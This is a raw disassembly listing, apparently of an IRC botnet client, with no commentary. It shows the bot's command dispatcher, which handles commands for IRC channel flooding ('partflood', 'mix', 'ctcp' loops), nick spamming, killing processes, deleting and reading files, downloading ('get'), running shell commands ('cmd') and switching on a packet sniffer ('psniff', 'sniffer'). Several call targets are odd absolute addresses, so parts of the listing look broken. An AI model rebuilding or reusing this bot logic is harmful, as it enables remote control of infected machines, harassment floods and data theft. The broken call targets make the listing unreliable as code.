		push	[ebp+esi+var_80]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417E06
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B93C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CB7
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_404CB7:				; CODE XREF: sub_401ACD+3173j
					; sub_401ACD+3179j ...
		push	edi
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D21
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D21
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_47F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_47F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D21:				; CODE XREF: sub_401ACD+31F9j
					; sub_401ACD+3204j
		push	edi
		push	offset dword_42B920
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D8B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D8B
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4AF4]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4AF4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B90C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D8B:				; CODE XREF: sub_401ACD+3263j
					; sub_401ACD+326Ej
		push	edi
		push	offset aNt	; "nt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DF5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DF5
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404DF5:				; CODE XREF: sub_401ACD+32CDj
					; sub_401ACD+32D8j
		push	edi
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E5F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E5F
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4FF8]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4FF8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404E5F:				; CODE XREF: sub_401ACD+3337j
					; sub_401ACD+3342j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E9C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404E9C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404E9C:				; CODE XREF: sub_401ACD+33A1j
					; sub_401ACD+33ACj
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404ED9
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404ED9
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404ED9:				; CODE XREF: sub_401ACD+33DEj
					; sub_401ACD+33E9j
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F1B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F1B
		push	offset dword_427620
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404F1B:				; CODE XREF: sub_401ACD+341Bj
					; sub_401ACD+3426j
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F92
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404F92
		call	near ptr 26B0735h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B8]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_17B8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404F92:				; CODE XREF: sub_401ACD+345Dj
					; sub_401ACD+3466j
		push	edi
		push	offset dword_42B888
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4050E9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4050E9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427620
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0000h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0000h
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	near ptr 26A0000h
		nop
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4050E9:				; CODE XREF: sub_401ACD+34D4j
					; sub_401ACD+34E1j
		push	edi
		push	offset dword_42B884
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405181
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_405181
		call	near ptr 26B0735h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B85C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 24h


loc_405181:				; CODE XREF: sub_401ACD+362Bj
					; sub_401ACD+3638j
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405289
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405289
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26A0000h
		nop
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_405289:				; CODE XREF: sub_401ACD+36C3j
					; sub_401ACD+36D2j
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4052CE
		lea	eax, [ebp+var_180C]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_180C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4052CE:				; CODE XREF: sub_401ACD+37CBj
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053C3
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4053C3
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	near ptr 26A0000h
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	near ptr 26A0000h
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4053C3:				; CODE XREF: sub_401ACD+3810j
					; sub_401ACD+381Dj
		push	edi
		push	offset aNotice_0 ; "notice"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054B8
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054B8
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0000h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0000h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4054B8:				; CODE XREF: sub_401ACD+3905j
					; sub_401ACD+3912j
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055D9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4055D9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26A0000h
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7FC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0000h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0000h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4055D9:				; CODE XREF: sub_401ACD+39FAj
					; sub_401ACD+3A07j
		push	edi
		push	offset aMix	; "mix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405709
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405709
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0000h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26A0000h
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0000h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_405709:				; CODE XREF: sub_401ACD+3B1Bj
					; sub_401ACD+3B28j
		push	edi
		push	offset aRegister ; "register"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40574D
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40574D
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_40574D:				; CODE XREF: sub_401ACD+3C4Bj
					; sub_401ACD+3C56j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40619B
		mov	[ebp+arg_18], offset dword_4D4A5C


loc_405769:				; CODE XREF: sub_401ACD+3CC0j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_40577F
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_40577F
		push	eax
		call	dword_4CBA6C


loc_40577F:				; CODE XREF: sub_401ACD+3CA3j
					; sub_401ACD+3CA9j
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4DB17C
		jl	short loc_405769
		cmp	[ebp+var_8], ebx
		jnz	loc_40619B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B784
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_40619B
; ---------------------------------------------------------------------------


loc_4057B7:				; CODE XREF: sub_401ACD+3151j
		push	[ebp+arg_8]
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aN	; "n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aJ	; "j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aPt	; "pt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aRaw	; "raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aKillthread ; "killthread"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aC_quit	; "c_quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_q	; "c_q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aC_rn	; "c_rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aPrefix	; "prefix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aPr	; "pr"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aOpen	; "open"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aO	; "o"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aServer	; "server"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aSe	; "se"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aDns	; "dns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aDn	; "dn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aKillproc ; "killproc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKp	; "kp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKill	; "kill"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aKi	; "ki"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aDel	; "del"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aGet	; "get"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aGt	; "gt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aList	; "list"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aLi	; "li"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aVisit	; "visit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aV	; "v"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aMirc	; "mirc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aCmd	; "cmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aCm	; "cm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aReadfile ; "readfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aRf	; "rf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C9F
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C67
		push	20h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405B91
		push	offset dword_42B68C
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405B91:				; CODE XREF: sub_401ACD+40B8j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_ED0], eax
		jnz	short loc_405BD3
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BD3
		mov	esi, [ebp+var_88]


loc_405BD3:				; CODE XREF: sub_401ACD+40E8j
					; sub_401ACD+40FEj
		push	esi
		lea	eax, [ebp+var_F58]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B65C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F5C]
		push	ebx
		push	eax
		push	offset byte_412B61
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405C56


loc_405C40:				; CODE XREF: sub_401ACD+4187j
		cmp	[ebp+var_ECC], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_405C40
; ---------------------------------------------------------------------------


loc_405C56:				; CODE XREF: sub_401ACD+4171j
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset dword_42B620
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C67:				; CODE XREF: sub_401ACD+40A8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	20h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C95
		push	eax
		push	offset dword_42B5E4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C95:				; CODE XREF: sub_401ACD+41BBj
		push	offset dword_42B5B8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405C9F:				; CODE XREF: sub_401ACD+4093j
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DEF
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DB7
		push	21h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405CE1
		push	offset unk_42B590
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405CE1:				; CODE XREF: sub_401ACD+4208j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
